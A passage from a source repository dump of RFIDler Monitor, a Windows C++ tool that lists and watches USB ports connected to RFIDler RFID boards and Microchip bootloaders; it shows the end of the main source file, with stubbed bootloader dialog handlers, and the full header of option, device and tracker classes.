defined(_DEBUG)\nINT_PTR CALLBACK BootloaderDlgProc(HWND hDlg, UINT iMsg, WPARAM wParam, LPARAM lParam)\n{\n    /* IDD_BOOTLOADERFLASH */\n    static HWND             hWndReport = NULL;\n    static HANDLE           h = INVALID_HANDLE_VALUE;\n    static BootloaderParams *bl = NULL;\n\n    switch (iMsg) {\n    case WM_INITDIALOG:\n        hWndReport = GetDlgItem(hDlg, IDC_FLASHREPORT);\n        // MonOptions & DeviceInfo from lParam\n        bl = (BootloaderParams *) lParam;\n\n        // try to open device\n        {\n            const wchar_t *path = bl->blDev->DevicePath();\n\n            if (path) {\n                h = CreateFile(path, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,\n                    NULL, OPEN_EXISTING, 0, NULL);\n#ifdef _DEBUG\n                PrintDebugStatus(_T(\"tried opening %s, %s\\n\"), path, (h == INVALID_HANDLE_VALUE) ? _T(\"fail\") : _T(\"success\"));\n#endif\n\n                if (h != INVALID_HANDLE_VALUE) {\n                    BootloaderEnableBaseControls(hDlg, TRUE);\n                    BootloaderStatus(hWndReport, _T(\"Bootloader device opened\"));\n\n                    if (InitHexFileList(hDlg)) {\n                        BootloaderEnableProgramControls(hDlg, TRUE);\n                    }\n                } else {\n                    // report error\n                    BootloaderStatus(hWndReport, _T(\"Bootloader device open failed (%u)\"), GetLastError());\n                }\n            } else {\n                BootloaderStatus(hWndReport, _T(\"Bootloader device not found\"));\n            }\n        }\n        return TRUE; // unless you set the focus to a control\n\n    case WM_COMMAND: \n        switch (LOWORD(wParam)) {\n        case IDC_ERASE:\n            if (h != INVALID_HANDLE_VALUE) {\n                /* todo */\n            }\n            break;\n        case IDC_PROGRAM:\n            if (h != INVALID_HANDLE_VALUE) {\n                /* todo */\n            }\n            break;\n        // IDC_FLASHPROGRESS               \n        case IDC_HEX_READFILE:\n            if (h != INVALID_HANDLE_VALUE) {\n                /* todo */\n            }\n            break;\n        case IDC_BROWSE:\n            if (h != INVALID_HANDLE_VALUE) {\n                /* todo */\n                // todo SaveHexFileToHistory(const wchar_t *filename)\n            }\n            break;\n        case IDC_VERIFY:\n            if (h != INVALID_HANDLE_VALUE) {\n                /* todo */\n            }\n            break;\n        case IDC_ERASEPROGRAMVERIFY:\n            if (h != INVALID_HANDLE_VALUE) {\n                /* todo */\n            }\n            break;\n        case IDC_REBOOT:\n            if (h != INVALID_HANDLE_VALUE) {\n                /* todo */\n            }\n            break;\n        case IDC_SAVEHEX:\n            if (h != INVALID_HANDLE_VALUE) {\n                /* todo */\n                // todo SaveHexFileToHistory(const wchar_t *filename)\n            }\n            break;\n        case IDOK:\n            EndDialog (hDlg, wParam);\n            /* handled message */\n            return 1;\n        }\n        break;\n\n    case WM_DESTROY:\n        if (h != INVALID_HANDLE_VALUE) {\n            CloseHandle(h);\n            h = INVALID_HANDLE_VALUE;\n        }\n    }\n\n    return 0;\n}   /* BootloaderDlgProc() */\n#endif\n\n\n/* end of file rfidmonitor.cpp */"
  },
  {
    "path": "windows-src/RFIDler-mon/rfidmonitor.h",
    "content": "/* \n\n    Project: RFIDler Monitor v0.1\n             Graphical monitor that lists which USB ports an RFIDler is \n             currently connected to, and watches for changes.\n             Tool for Aperture Labs RFIDler LF.\n\n    File: rfidmonitor.h\n\n    Author: Anthony Naggs, 2014\n\n    Copyright (c) 2014-2015 Anthony Naggs.\n    All rights reserved.\n\n    Limited assignment of rights under the 'BSD 2-Clause License':\n\n    Redistribution and use in source and binary forms, with or without modification, are\n    permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of\n       conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list\n       of conditions and the following disclaimer in the documentation and/or other materials\n       provided with the distribution.\n\n    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n    EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n    MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL\n    THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n    SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n    OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n    HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n    EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#define UNICODE\n#define _UNICODE\n\n#include <Windows.h>\n#include <tchar.h>\n#include <assert.h>\n\n#include <SetupAPI.h>\n#include <CommCtrl.h>\n#include <ShlObj.h>\n#include <ShObjIdl.h>\n#include <strsafe.h>\n\n#include \"resource.h\"\n\n\n/*\n  Configure some of the Windows APIs used, affects which Windows versions\n  the program is compatible with.\n  \n  Use only one of these, the first mode is for code testing.\n  USE_SETUP_DEVICE_REGISTRY     => test Windows XP support code\n    Uses SetupDiGetDeviceRegistryProperty() api\n  USE_SETUP_DEVICE_API_ADAPTATION => 'production' chooses api based in availability.\n    Uses SetupDiGetDeviceProperty() if available (windows >= Vista), otherwise\n    fallback to SetupDiGetDeviceRegistryProperty() for Win XP.\n  */\n//#define USE_SETUP_DEVICE_REGISTRY\n#define USE_SETUP_DEVICE_API_ADAPTATION\n\n\n#if defined(USE_SETUP_DEVICE_API_ADAPTATION)\n// define prototype pointer to SetupDiGetDevicePropertyW()\ntypedef BOOL (WINAPI *LPFNSetupDiGetDevicePropertyW)(HDEVINFO DeviceInfoSet,\n    PSP_DEVINFO_DATA DeviceInfoData, CONST DEVPROPKEY *PropertyKey,\n    DEVPROPTYPE *PropertyType, PBYTE PropertyBuffer, DWORD PropertyBufferSize,\n    PDWORD RequiredSize, DWORD Flags);\n#endif\n\n\n/* \n  Configure in-development features:\n  ENABLE_BOOTLOADER_FLASH_DIALOGS - dialogs & menus for talking to RFIDler (or Bitwhacker32) in Bootloader mode\n\n  Any features listed here are not complete or tested!\n  */\n//#define ENABLE_BOOTLOADER_FLASH_DIALOGS\n\n\n// arbitrary different numbers for different timers\n#define DEV_RESCAN_TIMER_MAGICNUMBER    19\n#define ARRIVAL_TIMER_MAGICNUMBER       53\n#define REGISTRY_SAVE_MAGICNUMBER       91\n\n\n// a few classes & such need declaring before the class definitions\nclass MonOptions;\nclass DeviceInfo;\nclass DeviceTracker;\n\nextern const DWORD KArrivalOrRemovalTimeDefault;\nextern const DWORD KArrivalOrRemovalTimeMaximum;\n\n\nenum lvCol { lvDispName = 0, lvDispType, lvDispState, lvDispLocus, lvDispSernum, \n             lvRevDispName, lvRevDispType, lvRevDispState, lvRevDispLocus, lvRevDispSernum, lvDispMaxSort = lvRevDispSernum };\n\n\n// Collection of RFIDler Monitor configuration that is accessed by Options dialog etc\n// Getters, Setters and registry serialisation\nclass MonOptions {\npublic:\n    // new instance with default values\n    MonOptions() :                  \n        optHwndMain(NULL),\n        optDefaultShowFlags(0), optShowFlags(0), optDefaultNotifyFlags(0), optNotifyFlags(0), optHaveValueFlags(0),\n        optNeedSaveFlags(0),\n        optViewSortOrder(lvDispName), optViewStyleButton(ID_VIEW_DETAILS),\n        optArrivalOrRemovalTime(KArrivalOrRemovalTimeDefault),\n        optWindowLayoutVer( 0 ), // change this when main window layout changes - used to validate restored Window position/size\n        optHexFileHistoryCount(0), optTimerRegistrySave(0)\n        {\n            // initial What to show options (bit flags):\n            optDefShowNonConfig = TRUE;\n            optDefShowNotPresent = FALSE;\n            optDefShowDevBoards = TRUE;\n            optDefShowRecentDisc = TRUE;\n            optDefShowAnySerial = FALSE;\n\n            optShowFlags = optDefaultShowFlags;\n\n            // initial notifications: aRfidlerArrFlash aBootArrFlash aSerialArrFlash\n            optDefNotifyRfidlerArrFlash = TRUE;\n            optDefNotifyBootArrFlash = FALSE;\n            optDefNotifyMicrochipArrFlash = FALSE;\n\n            optNotifyFlags = optDefaultNotifyFlags;\n\n            /* Which default registry should be saved.\n               Individual flags are cleared if previously saved values are recovered.\n               First save is triggered by first user change of settings,\n               or if some of the expected old values were recovered.\n            */\n            optNeedSaveShowFlags = TRUE;\n            optNeedSaveNotifyFlags = TRUE;\n            optNeedSaveWindowPlace = TRUE;\n            optNeedSaveViewSortOrder = TRUE;\n            optNeedSaveViewStyleButton = TRUE;\n            optNeedSaveHexFileHistory = FALSE;\n            optNeedSaveArrivalTime = TRUE;\n\n            optWindowPlace.left = 0;\n            optWindowPlace.top = 0;\n            optWindowPlace.right = 0;\n            optWindowPlace.bottom = 0;\n\n            for (int i = 0; i < optKMaxHexFileHistoryCount; i++) {\n                optHexFileHistory[i] = NULL;\n            }\n        }\n\n    // window to send timer messages to\n    void SetHwndMain(HWND hWndMain) { optHwndMain = hWndMain; }\n\n    void ReadRegistryValues();\n    void SetShowOptionsAndRegistrySave(const MonOptions &newValues, BOOL &aShowSettingsChanged);\n    void SetNotifyOptionsAndRegistrySave(const MonOptions &newValues);\n    void RegistrySaveChangedValues(BOOL destroyWindow);\n\n    void KickRegSaveTimer();\n    void CancelRegSaveTimer();\n    // \n    BOOL GetWindowInfo(RECT &rc) const;\n    int GetSortOrder() const { return optViewSortOrder; }\n    int GetViewStyleButton() const { return optViewStyleButton; }\n    BOOL ShowNonConfig() const { return optShowNonConfig; }\n    BOOL ShowNotPresent() const { return optShowNotPresent; }\n    BOOL ShowDevBoards() const { return optShowDevBoards; }\n    BOOL ShowDevBoardsOrAnySerial() const { return optShowDevBoards || optShowAnySerial; }\n    BOOL ShowRecentDisc() const { return optShowRecentDisc; }\n    BOOL ShowAnySerial() const { return optShowAnySerial; }\n    BOOL SetShowNonConfig(BOOL value) { BOOL old = optShowNonConfig; optShowNonConfig = value; return old; }\n    BOOL SetShowNotPresent(BOOL value) { BOOL old = optShowNotPresent; optShowNotPresent = value; return old; }\n    BOOL SetShowDevBoards(BOOL value) { BOOL old = optShowDevBoards; optShowDevBoards = value; return old; }\n    BOOL SetShowRecentDisc(BOOL value) { BOOL old = optShowRecentDisc; optShowRecentDisc = value; return old; }\n    BOOL SetShowAnySerial(BOOL value) { BOOL old = optShowAnySerial; optShowAnySerial = value; return old; }\n    BOOL SetShowFlagsToAll();  // return flag indicates value change\n    BOOL SetShowFlagsToNone();\n    BOOL SetShowFlagsToDefault();\n\n    BOOL NotifyRfidlerArrFlash() const { return optNotifyRfidlerArrFlash; }\n    BOOL NotifyBootArrFlash() const { return optNotifyBootArrFlash; }\n    BOOL NotifyMicrochipArrFlash() const { return optNotifyMicrochipArrFlash; }\n    BOOL SetNotifyRfidlerArrFlash(BOOL value) { BOOL old = optNotifyRfidlerArrFlash; optNotifyRfidlerArrFlash = value; return old; }\n    BOOL SetNotifyBootArrFlash(BOOL value) { BOOL old = optNotifyBootArrFlash; optNotifyBootArrFlash = value; return old; }\n    BOOL SetNotifyMicrochipArrFlash(BOOL value) { BOOL old = optNotifyMicrochipArrFlash; optNotifyMicrochipArrFlash = value; return old; }\n    BOOL SetNotifyFlagsToAll();  // return flag indicates value change\n    BOOL SetNotifyFlagsToNone();\n    BOOL SetNotifyFlagsToDefault();\n\n    int HexFileHistoryCount() const { return optHexFileHistoryCount; }\n    wchar_t *HexFileHistory(int index) const { return (index < optKMaxHexFileHistoryCount) ? optHexFileHistory[index] : NULL; }\n    void SaveHexFileToHistory(const wchar_t *filename);\n\n    // save changed values\n    void SaveWindowInfo(const RECT &rc);\n    void SaveViewSortOrder(int order);\n    void SaveViewStyleButton(int newStyleButton);\n\n    // access values\n    unsigned GetArrivalOrRemovalTime() const { return optArrivalOrRemovalTime; }\n    void SetArrivalOrRemovalTime(unsigned arrivalOrRemovalTime, BOOL saveChange);\n\nprivate:\n    void DoSaveChangedValues(HKEY programKey);\n\nprivate:\n    HWND        optHwndMain;\n    // disable warning about anonymous struct/union\n#pragma warning(disable: 4201)\n    // device list & notify options\n    union {\n        int     optDefaultShowFlags;\n        struct {\n            BOOL optDefShowNonConfig:1;    // IDC_SHOW_UNCONFIG\n            BOOL optDefShowNotPresent:1;   // IDC_SHOWALL\n            BOOL optDefShowDevBoards:1;    // IDC_SHOWBITWHACKER\n            BOOL optDefShowRecentDisc:1;   // IDC_SHOW_RECENTDISC\n            BOOL optDefShowAnySerial:1;    // IDC_OTHERSERIAL\n        };\n    };\n    union {\n        int     optShowFlags;\n        struct {\n            BOOL optShowNonConfig:1;\n            BOOL optShowNotPresent:1;\n            BOOL optShowDevBoards:1;\n            BOOL optShowRecentDisc:1;\n            BOOL optShowAnySerial:1;\n        };\n    };\n    union {\n        int     optDefaultNotifyFlags;\n        struct {\n            BOOL optDefNotifyRfidlerArrFlash:1;\n            BOOL optDefNotifyBootArrFlash:1;\n            BOOL optDefNotifyMicrochipArrFlash:1;\n        };\n    };\n    union {\n        int     optNotifyFlags;\n        struct {\n            BOOL optNotifyRfidlerArrFlash:1;  // IDC_RFID_ARR_FLASH\n            BOOL optNotifyBootArrFlash:1;     // IDC_BOOT_ARR_FLASH\n            BOOL optNotifyMicrochipArrFlash:1;   // IDC_MICROCHIP_ARR_FLASH\n        };\n    };\n    static const int optKAllShowFlags   = 0x001F;\n    static const int optKAllNotifyFlags = 0x0007;\n\n    // options we have retrieved from registry\n    union {\n        int     optHaveValueFlags;\n        struct {\n            BOOL optHaveWindowPlace:1;\n        };\n    };\n    // options needing save to registry\n    union {\n        int     optNeedSaveFlags;\n        struct {\n            BOOL optNeedSaveShowFlags:1;\n            BOOL optNeedSaveNotifyFlags:1;\n            BOOL optNeedSaveWindowPlace:1;\n            BOOL optNeedSaveViewSortOrder:1;\n            BOOL optNeedSaveViewStyleButton:1;\n            BOOL optNeedSaveHexFileHistory:1;\n            BOOL optNeedSaveArrivalTime:1;\n        };\n    };\n    static const int optKMaxHexFileHistoryCount = 10;\n    // values\n    RECT        optWindowPlace;\n    unsigned    optWindowLayoutVer;\n    int         optViewSortOrder;\n    int         optViewStyleButton;    // LV_VIEW_ICON, LV_VIEW_SMALLICON, LV_VIEW_DETAILS, LV_VIEW_TILE\n    unsigned    optArrivalOrRemovalTime;\n    int         optHexFileHistoryCount;\n    wchar_t     *optHexFileHistory[optKMaxHexFileHistoryCount];\n\n    unsigned    optTimerRegistrySave;\n};\n\n\nenum DevState { DevArrived, DevPresent, DevRemoved, DevAbsent, DevNotConnected };\nenum DevType {\n                DevRfidlerCom,              // Rfidler COM (serial) port\n                DevMicroDevBoard,           // Microchip Dev Board serial port\n                DevMicroBootloader,         // Microchip Dev Board bootloader\n                DevUnconfigRfidlerCom,      // unconfigured Rfidler COM port, driver not (yet) installed\n                DevUnconfigMicroDevBoard,   // unconfigured Microchip Dev Board, driver not (yet) installed\n                // non-Rfidler things ...\n                DevOtherSerial,\n                DevUnknown };\n\nenum DevImage { DevImgRfidlerOk = 0, DevImgRfidlerUnconfig, DevImgRfidlerRemoved, DevImgRfidlerBoot,\n                DevImgDevBoardOk, DevImgDevBoardRemoved, DevImgDevBoardUnconfig,\n                DevImgOtherSerialOk, DevImgOtherSerialRemoved };\nenum SerialPortType { SerialNone, SerialPort, SerialModem, SerialMultiport };\nenum DevBusType { BusUnknown, BusUSB, BusBluetooth, BusPCI, BusPCMCIA, BusISAPNP, BusEISA, BusMCA, BusFirewire, BusSD };\n\n\nstruct DeviceLocation {\n    DeviceLocation() :\n        devBusType(BusUnknown), devUsbHub(0), devUsbPort(0)\n        {}\n\n    enum DevBusType devBusType;\n    unsigned        devUsbHub;\n    unsigned        devUsbPort;\n    // TODO add USB segment count\n};\n\n\n// bundle of serial port details\nstruct DevicePortDetails {\n    DevicePortDetails() : devPortName(NULL), devFriendlyName(NULL), devPortNumber(0)\n    {}\n\n    wchar_t *devPortName; // eg COM12\n    wchar_t *devFriendlyName;\n    int     devPortNumber;      // COM port number eg 6\n};\n\n\nstruct DeviceSerialNumber {\n    DeviceSerialNumber() : devSerialString(NULL), devHardwareId(NULL), devIsWinSerial(FALSE) {}\n\n    wchar_t *devSerialString;\n    wchar_t *devHardwareId;\n    BOOL    devIsWinSerial;\n};\n\n\nclass DeviceInfo {\npublic:\n    static BOOL AddDeviceToList(enum DevType aDevType, enum DevState aDevState, FILETIME aNow,\n        DevicePortDetails& aPortDetails, DeviceLocation& aLocation, DeviceSerialNumber& aSerialNumber, unsigned aScanId,\n        SerialPortType aPortType);\n\n    void UpdateDevice(enum DevType aDevType, enum DevState aDevState,\n            FILETIME aNow, DevicePortDetails& aPortDetails, DeviceLocation& aLocation, DeviceSerialNumber& aSerialNumber,\n            unsigned aScanId);\n    void UpdateDeviceState(enum DevState aDevState, FILETIME aNow, unsigned aScanId);\n    void SetDeviceAbsent();\n    void SetDevicePresent();\n    BOOL UpdateTimeInState(FILETIME ft, DWORD limit);\n\n    const wchar_t *StateName();\n    const wchar_t *DevTypeName();\n    const wchar_t *LocationString();\n    const wchar_t *DisplayName();\n    const wchar_t *InfoTip();\n    // manage delete and allow GUI to lock against object delete eg whilst showing Context Menu\n    DeviceInfo *DeleteDevice(BOOL skipNotifications);\n    void LockForContextMenu();\n    void UnlockForContextMenu();\n    \n    // getters\n    enum DevType DeviceType() const { return devType; }\n    enum DevState DeviceState() const { return devState; }\n    const wchar_t *SerialNumber() const { return devSerialNumber.devSerialString; }\n    const wchar_t *PortName() const { return devPortDetails.devPortName; }\n    const wchar_t *HardwareId() const { return devSerialNumber.devHardwareId; }\n    int PortNumber() const { return devPortDetails.devPortName ? devPortDetails.devPortNumber : -1; }\n    unsigned LastScanId() const { return devScanId; }\n    DeviceInfo *DeviceNext() const { return devNext; }\n    BOOL DeleteOnUnlock() const { return devDeleteOnUnlock; }\n    const wchar_t *DevicePath();\n\n    // sorting\n    static int CALLBACK CompareProc(DeviceInfo *dev1, DeviceInfo *dev2, LPARAM primaryKey);\n\n    // device counts\n    static int CountOfRfidlers() { return iCountRfidlers; }\n    static int CountOfDevBoards() { return iCountDevBoards; }\n    static int CountOfBootloaders() { return iCountBootloaders; }\n\nprivate:\n    DeviceInfo(enum DevType aDevType, enum DevState aDevState, FILETIME aNow,\n        DevicePortDetails& aPortDetails, DeviceLocation& aLocation,\n        DeviceSerialNumber& aSerialNumber, unsigned aScanId, DeviceInfo *aDevNext,\n        SerialPortType aPortType) :\n#ifdef _DEBUG\n        devMagic(0x306f666e49766544),           // \"DevInfo0\"\n#endif\n        devTimestamp(aNow), devType(aDevType), devState(aDevState), devImage((enum DevImage)-1),\n        devDevicePath(NULL), devPortDetails(aPortDetails), devLocation(aLocation), devSerialNumber(aSerialNumber),\n        devElapsed(0), devScanId(aScanId), devPortType(aPortType), devLocked(FALSE),\n        devDeleteOnUnlock(FALSE), devPresent(FALSE), devNext(aDevNext), devPrev(NULL)\n        {\n            SetDeviceIcon();\n        }\n    void SetDeviceIcon();\n    void Destroy();\n    void DecDeviceTypeCount();\n    void IncDeviceTypeCount();\n\n    // helper\n    void UpdateDeviceTypeCount(int delta);\n\nprivate:\n    static int iCountRfidlers;\n    static int iCountDevBoards;\n    static int iCountBootloaders;\n    static int iCountUnconRfidlers;\n    static int iCountUnconDevBoards;\n    static int iCountOtherSerial;\n\n#ifdef _DEBUG\n    unsigned long long  devMagic;        // 64 bit magic number to identify objects in memory\n#endif\n\n    FILETIME            devTimestamp;       // time of last state change\n\n    enum DevType        devType;\n    enum DevState       devState;\n    enum DevImage       devImage;\n    wchar_t             *devDevicePath;     // cached device path for opening device\n    DevicePortDetails   devPortDetails;\n    DeviceLocation      devLocation;\n    DeviceSerialNumber  devSerialNumber;\n    DWORD               devElapsed;   // time since DevRemoved or DevArrived started\n    unsigned            devScanId; // last device scan that touched this node\n    SerialPortType      devPortType;\n\n    BOOL                devLocked;     // prevent delete whilst GUI is accessing the device\n    BOOL                devDeleteOnUnlock;\n    BOOL                devPresent;\n\n    // double linked list\n    DeviceInfo          *devNext;\n    DeviceInfo          *devPrev;\n};\n\n\nclass DeviceTracker {\npublic:\n    DeviceTracker() :        \n        mHWndMain(NULL), mHWndListView(NULL), mHWndStatusBar(NULL), mHInst(NULL),\n        mOptions(), mNeedDevicesResort(FALSE), mSortType(lvDispName),\n        mInitialiseRfidler(TRUE), mInitialiseUnconfig(TRUE), mInitialiseMicroSer(TRUE),\n        mInitialiseAnySerial(TRUE),\n#if defined(USE_SETUP_DEVICE_API_ADAPTATION)\n        mSetupDiGetDevicePropertyW(NULL),\n#endif\n        mNeedDevScan(FALSE),\n        mDevicesInArrivalState(FALSE),\n        mNeedFlashWindow(FALSE), mHNotifyHid(NULL),\n        mHNotifySerial(NULL), mTimerDevScan(0), mTimerArrival(0),\n        mImageList(NULL), mImageListSm(NULL)\n        {\n        }\n\n    void Initialize(HWND HWndMain, HWND HWndListView, HWND HWndStatusBar, HINSTANCE HInst);\n    void Cleanup();\n\n    void OnDeviceChange(UINT uiType, LPARAM lParam);\n    void UpdateArrivedAndRemovedDevices();\n    void ScanRfidlerDevices();\n    void CancelArrivalTimer();\n    void CancelDevScanTimer();\n    void SetViewStyle(int viewButton);\n    int GetViewSortOrder() { return (int) mSortType; }\n    void SetViewSortOrder(int sortkey) { mSortType = (enum lvCol) sortkey; \n                                        mOptions.SaveViewSortOrder(sortkey); }\n    void StatusBarRefresh();\n\n    // Get / Set options\n    MonOptions& GetOptions();\n    enum SetMode { SetAll, SetShowOptions, SetNotifyOptions };\n    void SetOptions(const MonOptions& aOptions, SetMode setmode);\n\nprivate:\n    friend DeviceInfo;\n    BOOL CheckInitialScanFlag(enum DevType dType);\n    void DetermineArrivalNotifications(enum DevType dType, enum DevState newState);\n    void DetermineRemovalNotifications(enum DevType dType, enum DevState oldState, enum DevState newState);\n    BOOL AddViewItem(const wchar_t *aName, enum DevImage aImage, const wchar_t *aDevType, \n            const wchar_t *aState, const wchar_t *aUsbLocation, const wchar_t *aSerialNumber, LPARAM lParam);\n    int FindViewItem(LPARAM lParam);\n    void RemoveViewItem(LPARAM lParam);\n    void UpdateViewItemPortName(const wchar_t *aName, LPARAM lParam);\n    void UpdateViewItemIconAndState(enum DevImage aImage, const wchar_t *aState, LPARAM lParam);\n    void UpdateViewItemIconAndType(enum DevImage aImage, const wchar_t *aType, LPARAM lParam);\n    void UpdateViewItemLocation(const wchar_t *aUsbLocation, LPARAM lParam);\n    void UpdateViewItemState(const wchar_t *aState, LPARAM lParam);\n    void UpdateViewItemSerialNumber(const wchar_t *aSerialNumber, LPARAM lParam);\n    static DeviceInfo *GetPortList() { return mListDevices; }\n    static void SetPortList(DeviceInfo *listStart) { mListDevices = listStart; }\n\nprivate:\n    void RegisterForDevNotifications();\n    void UnregisterForDevNotifications();\n\n    void UpdateArrivalOrRemovalState(FILETIME &now);\n    void UpdateStatusBarAndWinFlashNotifications();\n\n    void ScanForDevChanges();\n    void ScanIncludingUnconfigDevs(FILETIME &aNow, unsigned aScanId);\n    void ScanHidDevices(FILETIME &aNow, unsigned aScanId);\n    void ScanSerialDevices(FILETIME &aNow, unsigned aScanId);\n    void AddOrUpdateDevice(enum DevType aDevType, HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData,\n        const wchar_t *devInstanceId, DWORD size, SerialPortType aPortType, FILETIME &aNow, unsigned aScanId);\n    void KickArrivalTimer();\n    void KickDevScanTimer();\n    void CleanupOrphanedDevices(FILETIME &aNow, unsigned aScanId);\n    void CleanupDevicesAfterOptionsChange();\n    DeviceInfo *FindDevMatchBySernum(enum DevType aDevType, wchar_t *sernumber);\n\n    HIMAGELIST InitImageList(int cx, int cy, unsigned count, const int *iconlist);\n    void InitListColumns(const wchar_t **columns, const int *widths, unsigned count);\n    BOOL GetDeviceGUID(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, GUID &DevGuid,\n        CONST DEVPROPKEY PropKey, DWORD Property);\n    BOOL GetDeviceClassGUID(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, GUID &DevGuid);\n    BOOL GetDeviceBusTypeGUID(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, GUID &BusGuid);\n    enum DevState GetDevPresentStatus(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData);\n\n    void UnpackUSBLocation(DeviceLocation& location, wchar_t *devLocationString);\n    DeviceLocation GetDeviceUSBRegistryLocation(const wchar_t *VIDstring, const wchar_t *serialString);\n\n    DeviceLocation GetUSBDeviceLocation(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData);\n    DeviceLocation GetDeviceLocationFromBusGUID(GUID &BusGuid);\n    DeviceLocation GetDeviceLocation(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, DeviceSerialNumber &aSerialNumber);\n\n    wchar_t *GetFriendlyName(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData);\n    void CheckSerialDevice(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData,\n        SerialPortType aPortType, FILETIME &aNow, unsigned aScanId);\n    void CheckHidDevice(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, FILETIME &aNow,\n        unsigned aScanId);\n    void CheckClassNoneDevice(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData, FILETIME &aNow,\n        unsigned aScanId);\n\n    static BOOL GetDeviceInstanceId(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData,\n        wchar_t **DevInstance, DWORD *pSize);\n    static BOOL CheckDeviceId(const wchar_t *aHwId, DWORD size, const wchar_t *aRefHwId);\n    static wchar_t* GetPortname(HKEY devkey);\n    static wchar_t* GetPortname(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA &DeviceInfoData);\n    static DeviceSerialNumber GetSerialnumber(const wchar_t *devInstanceId, DWORD size);\n\nprivate:\n    MonOptions  mOptions;      // current option flags\n\n    HWND        mHWndMain;      // Main Window, used for eg notifying device arrival/removal if enabled\n\n    HWND        mHWndListView;  // ListView to maintain\n    HWND        mHWndStatusBar; // status bar along the bottom of the window\n    HINSTANCE   mHInst;\n\n    static DeviceInfo *mListDevices;\n\n    BOOL        mNeedDevicesResort;\n    enum lvCol  mSortType;\n    // flags control whether new devices are DevPresent or DevArrived on arrival\n    BOOL        mInitialiseRfidler;\n    BOOL        mInitialiseUnconfig;\n    BOOL        mInitialiseMicroSer;\n    BOOL        mInitialiseAnySerial;\n\n    // function pointer SetupDiGetDevicePropertyW in Windows >= Vista\n#if defined(USE_SETUP_DEVICE_API_ADAPTATION)\n    LPFNSetupDiGetDevicePropertyW mSetupDiGetDevicePropertyW;\n#endif\n\n    BOOL        mNeedDevScan;           // need to rescan devices\n    BOOL        mDevicesInArrivalState; // need to refresh display e.g. display options changed, arrival state timer\n    BOOL        mNeedFlashWindow;\n    // WM_DEVICECHANGE notification handles\n    HDEVNOTIFY  mHNotifyHid;\n    HDEVNOTIFY  mHNotifySerial;\n    unsigned    mTimerDevScan;\n    unsigned    mTimerArrival;\n\n    // initialised by loading resources\n    HIMAGELIST  mImageList;\n    HIMAGELIST  mImageListSm;\n};\n\n\n// wcs_utilities.cpp ...\n\nwchar_t* wcs_dupsubstr(const wchar_t* string, size_t length);\nconst wchar_t* wcs_istr(const wchar_t* pString, const wchar_t* pSubStr);\nBOOL wcs_checkprefix(const wchar_t* String, const wchar_t* SubStr);\nBOOL wcs_consumeprefix(const wchar_t* String, const wchar_t* SubStr, unsigned* Offset);\n\n\n// rfidmonitor.cpp exported data & functions ...\n\nextern const wchar_t *szAppName;\nextern const wchar_t *szRfidlerHwUsbId;         // \"USB\\\\VID_1D50&PID_6098\"\nextern const wchar_t *szMicrochipSerialHwUsbId; // \"USB\\\\VID_04D8&PID_000A\"\nextern const wchar_t *szMicrochipBootHwUsbId;   // \"USB\\\\VID_04D8&PID_003C\"\nextern const wchar_t *szMicrochipBootHidId;     // \"HID\\\\VID_04D8&PID_003C\"\n\n// singleton DeviceTracker\nextern DeviceTracker DevTracker;\n\n\n#if defined(_DEBUG)\nvoid PrintDebugStatus(const wchar_t *format, ...);\n#endif\n\nvoid ReleaseString(wchar_t *&string);\nvoid SetStatusBarPartitions(HWND hWndStatusBar, int parts);\n\n\n// windowsversion.cpp\n\n// tests to try on Windows Version Info\nenum WinVersion {\n    WinAtLeastXP,\n    WinAtLeastVista,\n    WinAtLeast7,\n    WinAtLeast8,\n    WinAtLeast10,\n};\n\nBOOL CheckWindowsVersion(enum WinVersion);\n\n\n// taskbarfeatures.cpp\n\nenum ProgBarState {\n    PROG_START,\n    PROG_ERROR,\n    PROG_COMPLETE,\n    PROG_HIDE,\n    PROG_MAX\n};\n\nvoid StartOrStopProgressMarquee(HWND hWnd, HWND hWndProgBar, ITaskbarList3* pTbList, ProgBarState pbState);\n\n\n/* end of file rfidmonitor.h */"
  },
  {
    "path": "windows-src/RFIDler-mon/taskbarfeatures.cpp",
